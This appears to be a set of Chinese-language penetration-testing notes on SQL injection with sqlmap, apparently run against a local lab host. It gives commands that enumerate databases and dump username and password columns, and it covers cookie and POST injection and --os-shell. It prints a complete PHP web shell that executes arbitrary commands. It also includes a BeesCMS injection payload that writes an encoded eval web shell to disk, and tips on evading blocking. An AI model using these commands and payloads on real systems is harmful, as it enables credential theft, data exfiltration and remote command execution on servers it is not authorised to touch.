sqlmap -u "<url>" 检测是否存在注入 sqlmap -u "<url>" --current-db 获取当前数据库 sqlmap -u "http://192.168.72.183:8003/index.php?id=1" -D "security" --tables 获取security下的所有表 sqlmap -u "http://192.168.72.183:8003/index.php?id=1" -D "security" -T "users" --columns 获取security下users表的的所有列名 sqlmap -u "http://192.168.72.183:8003/index.php?id=1" -D "security" -T "users" -C "username,password" --dump 获取security下users表下的username,password列下的数据(脱裤)
抓取POST数据包
xxxxxxxxxx
#BURP
copy to file
#SQLMAP
sqlmap -r "/root/postdata.txt" -p "name,user-agent"
xxxxxxxxxx
sqlmap -u "http://192.168.72.183:8011/index.php" --cookie "id=1" --current-db --level 2
指定网址
指定cookie
指定命令
指定等级为2级
cookie在2级的时候可以检测
HTTP user-Agent/Referer 在3级的时候可以检测
1.语言版本
2.网站绝对路径
3.MYsql版本低==secure_file_priv
为空(为NULL则不能写)
(结果最后还是用的windows服务器... Linux不太行)
过程:
发现--os-shell
成功以后出现两个新增的文件:
1.利用 into outfile 写入PHP文件,该PHP文件的作用是可以上传文件:
之后通过该PHP文件上传了第二个文件:
xxxxxxxxxx
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
$z=preg_replace('/[, ]+/',',',$z);
$z=explode(',',$z);
$z=array_map('trim',$z);}
else
{
$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])){
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f('shell_exec')){
$w=shell_exec($c);
}
elseif(f('passthru')){
ob_start();
passthru($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('popen')){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){
$w.=fread($x,512);
}
}
@pclose($x);
}elseif(f('exec')){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
print "</pre>".$w."</pre>";?>'''
也可以看出来限制很多:
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
不如直接写入一个webshell:
例如beescms:
admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/inetpub/target/Beescms_v4.0/cmd.php'#
会生成一个shell.php 密码为 cmd
看fetch ....里会得知自己的缓存文件位置
rm -rf +url 删除缓存文件
6.2 -v
--delay 1.5 延迟1.5秒
有时服务器检测到某个客户端错误请求过多会对其进行屏蔽,而Sqlmap的测试往往会产生大量错误请求,为避免被屏蔽,可以时不时的产生几个正常请求以迷惑服务器。有以下四个参数与这一机制有关:
–safe-url: 隔一会就访问一下的安全URL –safe-post: 访问安全URL时携带的POST数据 –safe-req: 从文件中载入安全HTTP请求 –safe-freq: 每次测试请求之后都会访问一下的安全URL
这里所谓的安全URL是指访问会返回200、没有任何报错的URL。相应地,Sqlmap也不会对安全URL进行任何注入测试。
http(s)://target.cc/user/1*
此参数用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害。
风险等级2添加了基于时间的注入测试,等级3添加了OR测试。
若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据,这显然不是攻击者想要看到的。
因此用户需要能控制风险等级避开有潜在风险的payload。